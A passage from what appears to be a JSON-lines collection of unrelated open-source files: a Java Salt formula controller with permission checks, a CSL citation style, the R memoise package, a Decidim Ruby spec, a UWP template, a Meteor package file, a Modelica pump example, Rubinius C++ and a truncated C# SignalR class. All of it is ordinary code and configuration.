FormulaUtil.ensureUserHasPermissionsOnServerGroup(user,\n ServerGroupFactory.lookupByIdAndOrg(id, user.getOrg()));\n }\n catch (PermissionException | LookupException e) {\n return deniedResponse(response);\n }\n formulas = FormulaFactory.getFormulasByGroupId(id);\n break;\n default:\n return errorResponse(response, Arrays.asList(\"Invalid target type!\"));\n }\n\n if (formulas.isEmpty()) {\n return \"null\";\n }\n\n Map<String, Object> map = new HashMap<>();\n map.put(\"formula_list\", formulas);\n\n if (formulaId < 0 || formulaId >= formulas.size()) {\n return GSON.toJson(map);\n }\n\n String formulaName = formulas.get(formulaId);\n switch (type) {\n case SERVER:\n map.put(\"system_data\", FormulaFactory.\n getFormulaValuesByNameAndMinionId(formulaName, MinionServerFactory.getMinionId(id))\n .orElseGet(Collections::emptyMap));\n map.put(\"group_data\", FormulaFactory\n .getGroupFormulaValuesByNameAndServerId(formulaName, id)\n .orElseGet(Collections::emptyMap));\n break;\n case GROUP:\n map.put(\"system_data\", Collections.emptyMap());\n map.put(\"group_data\", FormulaFactory\n .getGroupFormulaValuesByNameAndGroupId(formulaName, id)\n .orElseGet(Collections::emptyMap));\n break;\n default:\n return errorResponse(response, Arrays.asList(\"Invalid target type!\"));\n }\n map.put(\"formula_name\", formulaName);\n map.put(\"layout\", FormulaFactory\n .getFormulaLayoutByName(formulaName)\n .orElseGet(Collections::emptyMap));\n map.put(\"metadata\", FormulaFactory.getMetadata(formulaName));\n return GSON.toJson(map);\n }\n\n /**\n * Save formula data for group or server\n * @param request the http request\n * @param response the http response\n * @param user the current user\n * @return null if successful, else list of error messages\n */\n public String saveFormula(Request request, Response response, User user) {\n // Get data from request\n Map<String, Object> map = GSON.fromJson(request.body(), Map.class);\n Long id = Long.valueOf((String) map.get(\"id\"));\n String formulaName = (String) map.get(\"formula_name\");\n StateTargetType type = StateTargetType.valueOf((String) map.get(\"type\"));\n Map<String, Object> formData = (Map<String, Object>) map.get(\"content\");\n\n response.type(\"application/json\");\n\n try {\n switch (type) {\n case SERVER:\n Optional<MinionServer> minion = MinionServerFactory.lookupById(id);\n try {\n FormulaUtil.ensureUserHasPermissionsOnServer(user, minion.get());\n }\n catch (PermissionException e) {\n return deniedResponse(response);\n }\n FormulaFactory.saveServerFormulaData(formData, MinionServerFactory.getMinionId(id), formulaName);\n saltApi.refreshPillar(new MinionList(minion.get().getMinionId()));\n break;\n case GROUP:\n ManagedServerGroup group = ServerGroupFactory.lookupByIdAndOrg(id, user.getOrg());\n try {\n FormulaUtil.ensureUserHasPermissionsOnServerGroup(user, group);\n }\n catch (PermissionException | LookupException e) {\n return deniedResponse(response);\n }\n FormulaFactory.saveGroupFormulaData(formData, id, user.getOrg(), formulaName);\n List<String> minionIds = group.getServers().stream()\n .flatMap(s -> Opt.stream(s.asMinionServer()))\n .map(MinionServer::getMinionId).collect(Collectors.toList());\n saltApi.refreshPillar(new MinionList(minionIds));\n break;\n default:\n return errorResponse(response, Arrays.asList(\"error_invalid_target\")); //Invalid target type!\n }\n }\n catch (IOException | UnsupportedOperationException e) {\n return errorResponse(response,\n Arrays.asList(\"Error while saving formula data: \" +\n e.getMessage()));\n }\n Map<String, Object> metadata = FormulaFactory.getMetadata(formulaName);\n if (Boolean.TRUE.equals(metadata.get(\"pillar_only\"))) {\n return GSON.toJson(Arrays.asList(\"pillar_only_formula_saved\"));\n }\n return GSON.toJson(Arrays.asList(\"formula_saved\")); // Formula saved!\n }\n\n /**\n * Handler for the server group formula selection page.\n *\n * @param request the request object\n * @param response the response object\n * @param user the current user\n * @return the ModelAndView object to render the page\n */\n public ModelAndView serverGroupFormulas(Request request, Response response,\n User user) {\n String serverGroupId = request.queryParams(\"sgid\");\n Map<String, Object> data = new HashMap<>();\n data.put(\"groupId\", serverGroupId);\n data.put(\"groupName\",\n ServerGroupFactory.lookupByIdAndOrg(Long.valueOf(serverGroupId),\n user.getOrg()).getName());\n data.put(\"warning\", FormulaFactory.getWarningMessageAccessFormulaFolders());\n return new ModelAndView(data, \"templates/groups/formulas.jade\");\n }\n\n /**\n * Return the JSON data to render a server groups formula selection page.\n * @param request the http request\n * @param response the http response\n * @param user the current user\n * @return the JSON data\n */\n public String listSelectedFormulas(Request request, Response response,\n User user) {\n response.type(\"application/json\");\n Long id = Long.valueOf(request.params(\"id\"));\n StateTargetType type = StateTargetType.valueOf(request.params(\"targetType\"));\n\n Map<String, Object> data = new HashMap<>();\n switch (type) {\n case SERVER:\n try {\n FormulaUtil.ensureUserHasPermissionsOnServer(user, ServerFactory.lookupById(id));\n }\n catch (PermissionException e) {\n return deniedResponse(response);\n }\n data.put(\"selected\", FormulaFactory.getFormulasByMinionId(MinionServerFactory.getMinionId(id)));\n data.put(\"active\", FormulaFactory.getCombinedFormulasByServerId(id));\n break;\n case GROUP:\n try {\n FormulaUtil.ensureUserHasPermissionsOnServerGroup(user,\n ServerGroupFactory.lookupByIdAndOrg(id, user.getOrg()));\n }\n catch (PermissionException | LookupException e) {\n return deniedResponse(response);\n }\n data.put(\"selected\", FormulaFactory.getFormulasByGroupId(id));\n break;\n default:\n return errorResponse(response, Arrays.asList(\"Invalid target type!\"));\n }\n data.put(\"formulas\", FormulaFactory.listFormulas());\n return GSON.toJson(data);\n }\n\n /**\n * Save the selected formulas of a server or group.\n * @param request the http request\n * @param response the http response\n * @param user the current user\n * @return null if successful, else list of error messages\n */\n public String saveSelectedFormulas(Request request, Response response,\n User user) {\n // Get data from request\n Map<String, Object> map = GSON.fromJson(request.body(), Map.class);\n Long id = Long.valueOf((String) map.get(\"id\"));\n StateTargetType type = StateTargetType.valueOf((String) map.get(\"type\"));\n List<String> selectedFormulas = (List<String>) map.get(\"selected\");\n\n response.type(\"application/json\");\n\n try {\n switch (type) {\n case SERVER:\n try {\n FormulaUtil.ensureUserHasPermissionsOnServer(user,\n ServerFactory.lookupById(id));\n }\n catch (PermissionException e) {\n return deniedResponse(response);\n }\n FormulaFactory.saveServerFormulas(MinionServerFactory.getMinionId(id), selectedFormulas);\n break;\n case GROUP:\n try {\n FormulaUtil.ensureUserHasPermissionsOnServerGroup(user,\n ServerGroupFactory.lookupByIdAndOrg(id, user.getOrg()));\n }\n catch (PermissionException | LookupException e) {\n return deniedResponse(response);\n }\n FormulaFactory.saveGroupFormulas(id, selectedFormulas, user.getOrg());\n break;\n default:\n return errorResponse(response, Arrays.asList(\"error_invalid_target\"));\n }\n }\n catch (IOException | ValidatorException | UnsupportedOperationException e) {\n return errorResponse(response, Arrays.asList(\"Error while saving formula data: \" + e.getMessage()));\n }\n return GSON.toJson(Arrays.asList(\"formulas_saved\"));\n }\n\n /**\n * Handler for the minion formula page.\n *\n * @param request the request object\n * @param response the response object\n * @return the ModelAndView object to render the page\n */\n public ModelAndView minionFormula(Request request, Response response) {\n Map<String, Object> data = new HashMap<>();\n data.put(\"server\", ServerFactory.lookupById(Long.valueOf(request.queryParams(\"sid\"))));\n data.put(\"formula_id\", request.params(\"formula_id\"));\n return new ModelAndView(data, \"templates/minion/formula.jade\");\n }\n\n /**\n * Handler for the minion formula selection page.\n *\n * @param request the request object\n * @param response the response object\n * @param user the current user\n * @return the ModelAndView object to render the page\n */\n public ModelAndView minionFormulas(Request request, Response response,\n User user) {\n Map<String, Object> data = new HashMap<>();\n data.put(\"server\", ServerFactory.lookupById(Long.valueOf(request.queryParams(\"sid\"))));\n data.put(\"warning\", FormulaFactory.getWarningMessageAccessFormulaFolders());\n return new ModelAndView(data, \"templates/minion/formulas.jade\");\n }\n\n private String errorResponse(Response response, List<String> errs) {\n response.type(\"application/json\");\n response.status(HttpStatus.SC_BAD_REQUEST);\n return GSON.toJson(errs);\n }\n\n private String deniedResponse(Response response) {\n response.type(\"application/json\");\n response.status(HttpStatus.SC_FORBIDDEN);\n return GSON.toJson(\"['Permission denied!']\");\n }\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<style xmlns=\"http://purl.org/net/xbiblio/csl\" version=\"1.0\" default-locale=\"en-US\">\n <!-- Generated with https://github.com/citation-style-language/utilities/tree/master/generate_dependent_styles/data/springer -->\n <info>\n <title>Nutrient Cycling in Agroecosystems</title>\n <title-short>Nutr Cycl Agroecosyst</title-short>\n <id>http://www.zotero.org/styles/nutrient-cycling-in-agroecosystems</id>\n <link href=\"http://www.zotero.org/styles/nutrient-cycling-in-agroecosystems\" rel=\"self\"/>\n <link href=\"http://www.zotero.org/styles/springer-basic-author-date\" rel=\"independent-parent\"/>\n <link href=\"http://www.springer.com/cda/content/document/cda_downloaddocument/Key_Style_Points_1.0.pdf\" rel=\"documentation\"/>\n <link href=\"http://www.springer.com/cda/content/document/cda_downloaddocument/manuscript-guidelines-1.0.pdf\" rel=\"documentation\"/>\n <category citation-format=\"author-date\"/>\n <category field=\"science\"/>\n <issn>1385-1314</issn>\n <eissn>1573-0867</eissn>\n <updated>2014-05-15T12:00:00+00:00</updated>\n <rights license=\"http://creativecommons.org/licenses/by-sa/3.0/\">This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License</rights>\n </info>\n</style>\n"} {"text": "#' \\code{mf <- memoise(f)} creates \\code{mf}, a memoised copy of\n#' \\code{f}. A memoised copy is basically a\n#' lazier version of the same function: it saves the answers of\n#' new invocations, and re-uses the answers of old ones. Under the right\n#' circumstances, this can provide a very nice speedup indeed.\n#'\n#' There are two main ways to use the \\code{memoise} function. Say that\n#' you wish to memoise \\code{glm}, which is in the \\code{stats}\n#' package; then you could use \\cr\n#' \\code{ mem_glm <- memoise(glm)}, or you could use\\cr\n#' \\code{ glm <- memoise(stats::glm)}. \\cr\n#' The first form has the advantage that you still have easy access to\n#' both the memoised and the original function. The latter is especially\n#' useful to bring the benefits of memoisation to an existing block\n#' of R code.\n#'\n#' Two example situations where \\code{memoise} could be of use:\n#' \\itemize{\n#' \\item You're evaluating a function repeatedly over the rows (or\n#' larger chunks) of a dataset, and expect to regularly get the same\n#' input.\n#' \\item You're debugging or developing something, which involves\n#' a lot of re-running the code. If there are a few expensive calls\n#' in there, memoising them can make life a lot more pleasant.\n#' If the code is in a script file that you're \\code{source()}ing,\n#' take care that you don't just put \\cr\n#' \\code{ glm <- memoise(stats::glm)} \\cr\n#' at the top of your file: that would reinitialise the memoised\n#' function every time the file was sourced. Wrap it in \\cr\n#' \\code{ if (!is.memoised(glm)) }, or do the memoisation call\n#' once at the R prompt, or put it somewhere else where it won't get\n#' repeated.\n#' }\n#'\n#' It is recommended that functions in a package are not memoised at build-time,\n#' but when the package is loaded. The simplest way to do this is within\n#' \\code{.onLoad()} with, for example\n#'\n#'\n#' \\preformatted{\n#' # file.R\n#' fun <- function() {\n#' some_expensive_process()\n#' }\n#'\n#' # zzz.R\n#' .onLoad <- function(libname, pkgname) {\n#' fun <<- memoise::memoise(fun)\n#' }\n#' }\n#' @name memoise\n#' @title Memoise a function.\n#' @param f Function of which to create a memoised copy.\n#' @param ... optional variables to use as additional restrictions on\n#' caching, specified as one-sided formulas (no LHS). See Examples for usage.\n#' @param envir Environment of the returned function.\n#' @param cache Cache function.\n#' @param omit_args Names of arguments to ignore when calculating hash.\n#' @seealso \\code{\\link{forget}}, \\code{\\link{is.memoised}},\n#' \\code{\\link{timeout}}, \\url{http://en.wikipedia.org/wiki/Memoization}\n#' @aliases memoise memoize\n#' @export memoise memoize\n#' @importFrom digest digest\n#' @examples\n#' # a() is evaluated anew each time. memA() is only re-evaluated\n#' # when you call it with a new set of parameters.\n#' a <- function(n) { runif(n) }\n#' memA <- memoise(a)\n#' replicate(5, a(2))\n#' replicate(5, memA(2))\n#'\n#' # Caching is done based on parameters' value, so same-name-but-\n#' # changed-value correctly produces two different outcomes...\n#' N <- 4; memA(N)\n#' N <- 5; memA(N)\n#' # ... and same-value-but-different-name correctly produces\n#' # the same cached outcome.\n#' N <- 4; memA(N)\n#' N2 <- 4; memA(N2)\n#'\n#' # memoise() knows about default parameters.\n#' b <- function(n, dummy=\"a\") { runif(n) }\n#' memB <- memoise(b)\n#' memB(2)\n#' memB(2, dummy=\"a\")\n#' # This works, because the interface of the memoised function is the same as\n#' # that of the original function.\n#' formals(b)\n#' formals(memB)\n#' # However, it doesn't know about parameter relevance.\n#' # Different call means different caching, no matter\n#' # that the outcome is the same.\n#' memB(2, dummy=\"b\")\n#'\n#' # You can create multiple memoisations of the same function,\n#' # and they'll be independent.\n#' memA(2)\n#' memA2 <- memoise(a)\n#' memA(2) # Still the same outcome\n#' memA2(2) # Different cache, different outcome\n#'\n#' # Don't do the same memoisation assignment twice: a brand-new\n#' # memoised function also means a brand-new cache, and *that*\n#' # you could as easily and more legibly achieve using forget().\n#' # (If you're not sure whether you already memoised something,\n#' # use is.memoised() to check.)\n#' memA(2)\n#' memA <- memoise(a)\n#' memA(2)\n#' # Making a memoized automatically time out after 10 seconds.\n#' memA3 <- memoise(a, ~{current <- as.numeric(Sys.time()); (current - current %% 10) %/% 10 })\n#' memA3(2)\n#'\n#' # The timeout function is an easy way to do the above.\n#' memA4 <- memoise(a, ~timeout(10))\n#' memA4(2)\n#' @importFrom stats setNames\nmemoise <- memoize <- function(f, ..., envir = environment(f), cache = cache_memory(), omit_args = c()) {\n f_formals <- formals(args(f))\n if(is.memoised(f)) {\n stop(\"`f` must not be memoised.\", call. = FALSE)\n }\n\n validate_formulas(...)\n additional <- list(...)\n\n memo_f <- function(...) {\n mc <- match.call()\n encl <- parent.env(environment())\n called_args <- as.list(mc)[-1]\n\n # Formals with a default\n default_args <- Filter(function(x) !identical(x, quote(expr = )), as.list(formals()))\n\n # That has not been called\n default_args <- default_args[setdiff(names(default_args), names(called_args))]\n\n # Ignored specified arguments when hashing\n called_args[encl$`_omit_args`] <- NULL\n\n # Evaluate all the arguments\n args <- c(lapply(called_args, eval, parent.frame()),\n lapply(default_args, eval, envir = environment()))\n\n hash <- encl$`_cache`$digest(\n c(as.character(body(encl$`_f`)), args,\n lapply(encl$`_additional`, function(x) eval(x[[2L]], environment(x))))\n )\n\n if (encl$`_cache`$has_key(hash)) {\n res <- encl$`_cache`$get(hash)\n } else {\n # modify the call to use the original function and evaluate it\n mc[[1L]] <- encl$`_f`\n res <- withVisible(eval(mc, parent.frame()))\n encl$`_cache`$set(hash, res)\n }\n\n if (res$visible) {\n res$value\n } else {\n invisible(res$value)\n }\n }\n formals(memo_f) <- f_formals\n attr(memo_f, \"memoised\") <- TRUE\n\n # This should only happen for primitive functions\n if (is.null(envir)) {\n envir <- baseenv()\n }\n\n memo_f_env <- new.env(parent = envir)\n memo_f_env$`_cache` <- cache\n memo_f_env$`_f` <- f\n memo_f_env$`_additional` <- additional\n memo_f_env$`_omit_args` <- omit_args\n environment(memo_f) <- memo_f_env\n\n class(memo_f) <- c(\"memoised\", \"function\")\n\n memo_f\n}\n\n#' Return a new number after a given number of seconds\n#'\n#' This function will return a number corresponding to the system time and\n#' remain stable until a given number of seconds have elapsed, after which it\n#' will update to the current time. This makes it useful as a way to timeout\n#' and invalidate a memoised cache after a certain period of time.\n#' @param seconds Number of seconds after which to timeout.\n#' @param current The current time as a numeric.\n#' @return A numeric that will remain constant until the seconds have elapsed.\n#' @seealso \\code{\\link{memoise}}\n#' @export\n#' @examples\n#' a <- function(n) { runif(n) }\n#' memA <- memoise(a, ~timeout(10))\n#' memA(2)\ntimeout <- function(seconds, current = as.numeric(Sys.time())) {\n (current - current %% seconds) %/% seconds\n}\n\nvalidate_formulas <- function(...) {\n format.name <- function(x, ...) format(as.character(x), ...)\n is_formula <- function(x) {\n if (is.call(x) && identical(x[[1]], as.name(\"~\"))) {\n if (length(x) > 2L) {\n stop(\"`x` must be a one sided formula [not \", format(x), \"].\", call. = FALSE)\n }\n } else {\n stop(\"`\", format(x), \"` must be a formula.\", call. = FALSE)\n }\n }\n\n dots <- eval(substitute(alist(...)))\n lapply(dots, is_formula)\n}\n\n#' @export\nprint.memoised <- function(x, ...) {\n cat(\"Memoised Function:\\n\")\n tryCatch(print(environment(x)$`_f`), error = function(e) stop(\"No function defined!\", call. = FALSE))\n}\n\n#' Forget past results.\n#' Resets the cache of a memoised function.\n#'\n#' @param f memoised function\n#' @export\n#' @seealso \\code{\\link{memoise}}, \\code{\\link{is.memoised}}\n#' @examples\n#' memX <- memoise(function() { Sys.sleep(1); runif(1) })\n#' # The forget() function\n#' system.time(print(memX()))\n#' system.time(print(memX()))\n#' forget(memX)\n#' system.time(print(memX()))\nforget <- function(f) {\n if (!is.memoised(f)) {\n return(FALSE)\n }\n\n env <- environment(f)\n if (!exists(\"_cache\", env, inherits = FALSE)) return(FALSE) # nocovr\n\n cache <- get(\"_cache\", env)\n cache$reset()\n\n TRUE\n}\n\n#' Test whether a function is a memoised copy.\n#' Memoised copies of functions carry an attribute\n#' \\code{memoised = TRUE}, which is what \\code{is.memoised()} tests for.\n#' @param f Function to test.\n#' @seealso \\code{\\link{memoise}}, \\code{\\link{forget}}\n#' @export is.memoised is.memoized\n#' @aliases is.memoised is.memoized\n#' @examples\n#' mem_lm <- memoise(lm)\n#' is.memoised(lm) # FALSE\n#' is.memoised(mem_lm) # TRUE\nis.memoised <- is.memoized <- function(f) {\n is.function(f) && inherits(f, \"memoised\")\n}\n\n#' Test whether a memoised function has been cached for particular arguments.\n#' @param f Function to test.\n#' @return A function, with the same arguments as \\code{f}, that can be called to test\n#' if \\code{f} has cached results.\n#' @seealso \\code{\\link{is.memoised}}, \\code{\\link{memoise}}\n#' @export\n#' @examples\n#' mem_sum <- memoise(sum)\n#' has_cache(mem_sum)(1, 2, 3) # FALSE\n#' mem_sum(1, 2, 3)\n#' has_cache(mem_sum)(1, 2, 3) # TRUE\nhas_cache <- function(f) {\n if(!is.memoised(f)) stop(\"`f` is not a memoised function!\", call. = FALSE)\n\n # Modify the function body of the function to simply return TRUE and FALSE\n # rather than get or set the results of the cache\n body <- body(f)\n body[[10]] <- quote(if (encl$`_cache`$has_key(hash)) return(TRUE) else return(FALSE))\n body(f) <- body\n\n f\n}\n\n#' Drops the cache of a memoised function for particular arguments.\n#' @param f Memoised function.\n#' @return A function, with the same arguments as \\code{f}, that can be called to drop\n#' the cached results of \\code{f}.\n#' @seealso \\code{\\link{has_cache}}, \\code{\\link{memoise}}\n#' @export\n#' @examples\n#' mem_sum <- memoise(sum)\n#' mem_sum(1, 2, 3)\n#' mem_sum(2, 3, 4)\n#' has_cache(mem_sum)(1, 2, 3) # TRUE\n#' has_cache(mem_sum)(2, 3, 4) # TRUE\n#' drop_cache(mem_sum)(1, 2, 3) # TRUE\n#' has_cache(mem_sum)(1, 2, 3) # FALSE\n#' has_cache(mem_sum)(2, 3, 4) # TRUE\ndrop_cache <- function(f) {\n if(!is.memoised(f)) stop(\"`f` is not a memoised function!\", call. = FALSE)\n\n # Modify the function body of the function to simply drop the key\n # and return TRUE if successfully removed\n body <- body(f)\n body[[10]] <- quote(if (encl$`_cache`$has_key(hash)) {\n encl$`_cache`$drop_key(hash)\n return(TRUE)\n } else {\n return(FALSE)\n })\n body(f) <- body\n\n f\n}\n"} {"text": "# frozen_string_literal: true\n\nrequire \"spec_helper\"\n\nmodule Decidim\n describe ContentRenderers::UserGroupRenderer do\n let(:user_group) { create(:user_group, :confirmed) }\n let(:renderer) { described_class.new(content) }\n let(:presenter) { Decidim::UserGroupPresenter.new(user_group) }\n\n context \"when content has a valid Decidim::UserGroup Global ID\" do\n let(:content) { \"This text contains a valid Decidim::UserGroup Global ID: #{user_group.to_global_id}\" }\n\n it \"renders the mention\" do\n expect(renderer.render).to eq(%(This text contains a valid Decidim::UserGroup Global ID: <a class=\"user-mention\" href=\"/profiles/#{user_group.nickname}\">@#{user_group.nickname}</a>))\n end\n end\n\n context \"when content has more than one Decidim::UserGroup Global ID\" do\n let(:content) { \"This text contains two valid Decidim::UserGroup Global ID: #{user_group.to_global_id} #{user_group.to_global_id}\" }\n\n it \"renders the two mentions\" do\n rendered = renderer.render\n mention = %(<a class=\"user-mention\" href=\"/profiles/#{user_group.nickname}\">@#{user_group.nickname}</a>)\n expect(rendered.scan(mention).length).to eq(2)\n end\n end\n\n context \"when content has an unparsed mention\" do\n let(:content) { \"This text mentions a non valid user_group: @unvalid\" }\n\n it \"ignores the mention\" do\n expect(renderer.render).to eq(content)\n end\n end\n\n context \"when content has an invalid Decidim::User Global ID\" do\n let(:content) { \"This text contains a invalid gid for removed user_group: #{user_group.to_global_id}\" }\n\n before { user_group.destroy }\n\n it \"removes the Global ID\" do\n expect(renderer.render).to eq(\"This text contains a invalid gid for removed user_group: \")\n end\n\n it \"does not raises an exception\" do\n expect { renderer.render }.not_to raise_error\n end\n end\n end\nend\n"} {"text": "{\n \"$schema\": \"http://json.schemastore.org/template\",\n \"author\": \"Microsoft\",\n \"classifications\": [\n \"Universal\"\n ],\n \"name\": \"Page.MasterDetail.Blank.MenuBar\",\n \"identity\": \"Page.MasterDetail.Blank.MenuBar\",\n \"shortName\": \"Page.MasterDetail.Blank.MenuBar\",\n \"tags\": {\n \"language\": \"C#\",\n \"type\": \"item\",\n \"wts.type\": \"composition\",\n \"wts.platform\" : \"Uwp\",\n \"wts.version\": \"1.0.0\",\n \"wts.compositionFilter\": \"$projectType == Blank|MenuBar & groupidentity == wts.Page.MasterDetail\"\n },\n \"sourceName\": \"wts.ItemName\",\n \"preferNameDirectory\": true,\n \"PrimaryOutputs\": [\n ],\n \"symbols\": {\n \"wts.rootNamespace\": {\n \"type\": \"parameter\",\n \"replaces\": \"Param_RootNamespace\"\n }\n }\n}\n"} {"text": "Package.describe({\n name: 'barbatus:typescript',\n version: '0.7.0',\n summary: 'TypeScript for Meteor',\n git: 'https://github.com/barbatus/typescript',\n documentation: 'README.md'\n});\n\nPackage.registerBuildPlugin({\n name: 'typescript',\n use: ['barbatus:typescript-compiler'],\n sources: ['plugin.js']\n});\n\nPackage.onUse(function(api) {\n api.versionsFrom('1.4.1');\n\n api.use('isobuild:compiler-plugin@1.0.0');\n api.use('barbatus:typescript-compiler@0.10.0');\n\n api.imply('modules@0.11.6');\n\n api.imply('barbatus:typescript-runtime@1.1.0');\n});\n\nPackage.onTest(function(api) {\n api.use('tinytest@1.0.12');\n api.use('barbatus:typescript');\n\n api.addFiles('tests/runtime-tests.ts', 'client');\n api.addFiles('tests/runtime-react-tests.tsx', 'client');\n});\n"} {"text": "within Buildings.Fluid.Movers.Examples;\nmodel PumpsParallel \"Two flow machines in parallel\"\n extends Modelica.Icons.Example;\n\n package Medium = Buildings.Media.Water \"Medium model\";\n\n parameter Modelica.SIunits.MassFlowRate m_flow_nominal= 1\n \"Nominal mass flow rate\";\n\n parameter Modelica.SIunits.Density rho_nominal=1000\n \"Density, used to compute fluid mass\";\n\n Buildings.Fluid.FixedResistances.PressureDrop dpIn1(\n redeclare package Medium = Medium,\n dp_nominal=1000,\n m_flow_nominal=0.5*m_flow_nominal) \"Pressure drop\"\n annotation (Placement(transformation(extent={{-20,100},{0,120}})));\n Buildings.Fluid.Movers.SpeedControlled_y floMac1(\n redeclare package Medium = Medium,\n per(pressure(V_flow={0, m_flow_nominal/rho_nominal}, dp={2*4*1000, 0})),\n energyDynamics=Modelica.Fluid.Types.Dynamics.FixedInitial)\n \"Model of a flow machine\"\n annotation (Placement(transformation(extent={{20,100},{40,120}})));\n\n Buildings.Fluid.FixedResistances.PressureDrop dpOut1(\n redeclare package Medium = Medium,\n dp_nominal=1000,\n m_flow_nominal=0.5*m_flow_nominal) \"Pressure drop\"\n annotation (Placement(transformation(extent={{58,100},{78,120}})));\n Buildings.Fluid.Sources.Boundary_pT sou(\n redeclare package Medium = Medium,\n use_p_in=false,\n nPorts=2,\n T=293.15) annotation (Placement(transformation(extent={{-92,48},{-72,68}})));\n\n Buildings.Fluid.FixedResistances.PressureDrop dpIn(\n redeclare package Medium = Medium,\n m_flow_nominal=m_flow_nominal,\n dp_nominal=1000) \"Pressure drop\"\n annotation (Placement(transformation(extent={{-60,50},{-40,70}})));\n Buildings.Fluid.FixedResistances.PressureDrop dpOut3(\n redeclare package Medium = Medium,\n m_flow_nominal=m_flow_nominal,\n dp_nominal=1000) \"Pressure drop\"\n annotation (Placement(transformation(extent={{100,50},{120,70}})));\n\n Buildings.Fluid.FixedResistances.PressureDrop dpIn2(\n redeclare package Medium = Medium,\n dp_nominal=1000,\n m_flow_nominal=0.5*m_flow_nominal) \"Pressure drop\"\n annotation (Placement(transformation(extent={{-20,0},{0,20}})));\n Buildings.Fluid.Movers.SpeedControlled_y floMac2(\n redeclare package Medium = Medium,\n per(pressure(V_flow={0, m_flow_nominal/rho_nominal}, dp={2*4*1000, 0})),\n energyDynamics=Modelica.Fluid.Types.Dynamics.FixedInitial,\n inputType=Buildings.Fluid.Types.InputType.Constant) \"Model of a flow machine\"\n annotation (Placement(transformation(extent={{20,0},{40,20}})));\n Buildings.Fluid.FixedResistances.PressureDrop dpOut2(\n redeclare package Medium = Medium,\n dp_nominal=1000,\n m_flow_nominal=0.5*m_flow_nominal) \"Pressure drop\"\n annotation (Placement(transformation(extent={{58,0},{78,20}})));\n Modelica.Blocks.Sources.Step const1(\n height=-1,\n offset=1,\n startTime=150)\n annotation (Placement(transformation(extent={{0,130},{20,150}})));\nequation\n connect(dpIn1.port_b, floMac1.port_a) annotation (Line(\n points={{5.55112e-16,110},{20,110}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(floMac1.port_b, dpOut1.port_a) annotation (Line(\n points={{40,110},{58,110}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(sou.ports[1], dpIn.port_a) annotation (Line(\n points={{-72,60},{-60,60}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(dpIn.port_b, dpIn1.port_a) annotation (Line(\n points={{-40,60},{-30,60},{-30,110},{-20,110}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(dpOut1.port_b, dpOut3.port_a) annotation (Line(\n points={{78,110},{90,110},{90,60},{100,60}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(dpOut3.port_b, sou.ports[2]) annotation (Line(\n points={{120,60},{140,60},{140,-20},{-66,-20},{-66,56},{-72,56}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(dpIn2.port_b,floMac2. port_a) annotation (Line(\n points={{5.55112e-16,10},{20,10}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(floMac2.port_b,dpOut2. port_a) annotation (Line(\n points={{40,10},{58,10}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(dpIn.port_b, dpIn2.port_a) annotation (Line(\n points={{-40,60},{-30,60},{-30,10},{-20,10}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(dpOut2.port_b, dpOut3.port_a) annotation (Line(\n points={{78,10},{90,10},{90,60},{100,60}},\n color={0,127,255},\n smooth=Smooth.None));\n connect(const1.y, floMac1.y) annotation (Line(\n points={{21,140},{29.8,140},{29.8,122}},\n color={0,0,127},\n smooth=Smooth.None));\n annotation (\n Diagram(coordinateSystem(preserveAspectRatio=false,extent={{-100,-100},{160,\n 160}}), graphics),\n __Dymola_Commands(file=\"modelica://Buildings/Resources/Scripts/Dymola/Fluid/Movers/Examples/PumpsParallel.mos\"\n \"Simulate and plot\"),\n Documentation(info=\"<html>\nThis example tests the configuration of two flow machines that are installed in parallel.\nBoth flow machines start with full speed.\nAt <i>t=150</i> second, the speed of the flow machine on the top is reduced to zero.\nAs its speed is reduced, the mass flow rate changes its direction in such a way that the flow machine\nat the top has reverse flow.\n</html>\", revisions=\"<html>\n<ul>\n<li>February 20, 2016, by Ruben Baetens:<br/>\nRemoval of <code>dynamicBalance</code> as parameter for <code>massDynamics</code> and <code>energyDynamics</code>.\n</li>\n<li>\nApril 2, 2015, by Filip Jorissen:<br/>\nSet constant speed for pump using a <code>parameter</code>\ninstead of a <code>realInput</code>.\n</li>\n<li>\nMay 29, 2014, by Michael Wetter:<br/>\nRemoved undesirable annotation <code>Evaluate=true</code>,\nand set <code>rho_nominal</code> to a constant to avoid a non-literal\nnominal value for <code>V_flow_max</code> and <code>VMachine_flow</code>.\n</li>\n<li>\nFebruary 14, 2012, by Michael Wetter:<br/>\nAdded filter for start-up and shut-down transient.\n</li>\n<li>\nMarch 24 2010, by Michael Wetter:<br/>\nFirst implementation.\n</li>\n</ul>\n</html>\"),\n experiment(\n StopTime=300,\n Tolerance=1e-06));\nend PumpsParallel;\n"} {"text": "#include \"instructions/push_cpath_top.hpp\"\n\nnamespace rubinius {\n namespace interpreter {\n intptr_t push_cpath_top(STATE, CallFrame* call_frame, intptr_t const opcodes[]) {\n instructions::push_cpath_top(state, call_frame);\n\n call_frame->next_ip(instructions::data_push_cpath_top.width);\n return ((instructions::Instruction)opcodes[call_frame->ip()])(state, call_frame, opcodes);\n }\n }\n}\n"} {"text": "using System;\nusing System.Collections.Generic;\nusing System.Runtime.ExceptionServices;\nusing System.Text;\n\nnamespace Microsoft.AspNetCore.SignalR.Protocol\n{\n /// <summary>\n /// Represents a failure to bind arguments for a StreamDataMessage. This does not represent an actual\n /// message that is sent on the wire, it is returned by <see cref=\"IHubProtocol.TryParseMessage\"/>\n /// to indicate that a binding failure occurred when parsing a StreamDataMessage. The stream ID is associated\n /// so that the error can be sent to the relevant hub method.\n /// </summary>\n public class StreamBindingFailureMessage : HubMessage\n {\n /// <summary>\n /// Gets the id of the relevant stream\n /// </summary>\n public string Id { get; }\n\n /// <summary>\n /// Gets the exception thrown during binding.\n /// </summary>\n public ExceptionDispatchInfo BindingFailure { get; }\n\n /// <summary>\n /// Initializes a new instance of the <see cref=\"InvocationBindingFailureMessage\"/> class.\n /// </summary>\n /// <param name=\"id\">The stream ID.</param>\n /// <param name=\"bindingFailure\">The exception thrown during binding.</param>\n public StreamBindingFailureMessage(string id, ExceptionDispatchInfo bindingFailure)\n {\n Id = id;\n BindingFailure 